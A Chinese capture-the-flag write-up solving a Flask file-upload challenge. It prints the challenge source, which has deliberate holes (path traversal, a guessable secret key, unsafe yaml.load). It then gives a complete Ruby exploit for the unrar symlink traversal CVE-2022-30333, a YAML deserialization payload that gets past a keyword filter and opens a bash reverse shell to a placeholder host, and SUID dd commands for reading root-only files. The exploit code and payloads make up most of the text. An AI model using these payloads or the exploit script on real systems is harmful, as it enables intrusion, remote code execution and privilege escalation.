大致思路:
1.任意文件读取
2.session伪造
3.untar目录穿越,任意文件写
4.yaml反序列化
5.sudi dd提权
题目代码
import os import re import yaml import time import socket import subprocess from hashlib import md5 from flask import Flask, render_template, make_response, send_file, request, redirect, session app = Flask(__name__) app.config['SECRET_KEY'] = socket.gethostname() def response(content, status): resp = make_response(content, status) return resp @app.before_request def is_login(): if request.path == "/upload": if session.get('user') != "Administrator": return f"<script>alert('Access Denied');window.location.href='/'</script>" else: return None @app.route('/', methods=['GET']) def main(): if not session.get('user'): session['user'] = 'Guest' try: return render_template('index.html') except: return response("Not Found.", 404) finally: try: updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest() if not session.get('updir'): session['updir'] = updir if not os.path.exists(updir): os.makedirs(updir) except: return response('Internal Server Error.', 500) @app.route('/<path:file>', methods=['GET']) def download(file): if session.get('updir'): basedir = session.get('updir') try: path = os.path.join(basedir, file).replace('../', '') if os.path.isfile(path): return send_file(path) else: return response("Not Found.", 404) except: return response("Failed.", 500) @app.route('/upload', methods=['GET', 'POST']) def upload(): if request.method == 'GET': return redirect('/') if request.method == 'POST': uploadFile = request.files['file'] filename = request.files['file'].filename if re.search(r"\.\.|/", filename, re.M|re.I) != None: return "<script>alert('Hacker!');window.location.href='/upload'</script>" filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar" if os.path.exists(filepath): return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>" else: uploadFile.save(filepath) extractdir = f"{session.get('updir')}/{filename.split('.')[0]}" if not os.path.exists(extractdir): os.makedirs(extractdir) pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir]) t_beginning = time.time() seconds_passed = 0 timeout=60 while True: if pStatus.poll() is not None: break seconds_passed = time.time() - t_beginning if timeout and seconds_passed > timeout: pStatus.terminate() raise TimeoutError(cmd, timeout) time.sleep(0.1) rarDatas = {'filename': filename, 'dirs': [], 'files': []} for dirpath, dirnames, filenames in os.walk(extractdir): relative_dirpath = dirpath.split(extractdir)[-1] rarDatas['dirs'].append(relative_dirpath) for file in filenames: rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1]) with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f: f.write(yaml.dump(rarDatas)) return redirect(f'/display?file={filename}') @app.route('/display', methods=['GET']) def display(): filename = request.args.get('file') if not filename: return response("Not Found.", 404) if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'): with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f: yamlDatas = f.read() if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I): rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode())) if rarDatas: return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files']) else: return response('Internal Server Error.', 500) else: return response('Forbidden.', 403) else: return response("Not Found.", 404) if __name__ == '__main__': app.run(host='0.0.0.0', port=8888)
download存在任意文件下载,双写绕过即可
读取/etc/hosts 获取 socket.gethostname() 为 engine-1 用于伪造session
替换session后构造rar包上传解压导致目录穿越
脚本如下cve-2022-30333.rb
cve-2022-30333.rb '../../../../fileinfo/c81e728d9d4c2f636f067f89cc14862c.yaml' ./c81e728d9d4c2f636f067f89cc14862c.yaml>5.rar
# Encoding: ASCII-8BIT require 'zlib' if ARGV.length != 2 $stderr.puts "Usage: ruby ./create-payload <../../target/file> <filename to read payload from>" $stderr.puts $stderr.puts "Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp" exit end SYMLINK_LENGTH = 0x68 PAYLOAD_SYMLINK = (ARGV[0] + "\0").ljust(SYMLINK_LENGTH, "\0").gsub('/', '\\') if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH $stderr.puts "Payload symlink is invalid, probably too long!" exit end PAYLOAD_LENGTH = 0x1000 PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, "\0") if PAYLOAD_DATA.length != PAYLOAD_LENGTH $stderr.puts "Payload data is invalid, probably too long!" exit end FILENAME_LENGTH = 0x0c FILENAME = "DONTLOOKATME" RAR = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00\x9e\xe2\xc4\xf5\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c" RAR.concat(FILENAME) # Symlink filename RAR.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68") RAR.concat(PAYLOAD_SYMLINK) RAR.concat("\xf3\xa1\x93\x68\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20") RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack('V')) RAR.concat("\x80\x00\x00\x0c") RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it) RAR.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01") RAR.concat(PAYLOAD_DATA) RAR.concat("\x1d\x77\x56\x51\x03\x05\x04\x00") print RAR
绕过waf写出如下payload,保存至c81e728d9d4c2f636f067f89cc14862c.yaml
!!python/object/new:bytes - !!python/object/new:map - !!python/name:eval - ["__import__\x28'os'\x29.popen\x28'bash -i >/dev/tcp/xxxxxxx/8888 0>&1'\x29"]
上传
访问
获取交互式shell
寻找suid
find / -user root -perm -4000 -exec ls -ldb {} \;
dd if=/flag of=/tmp/2
cat /tmp/2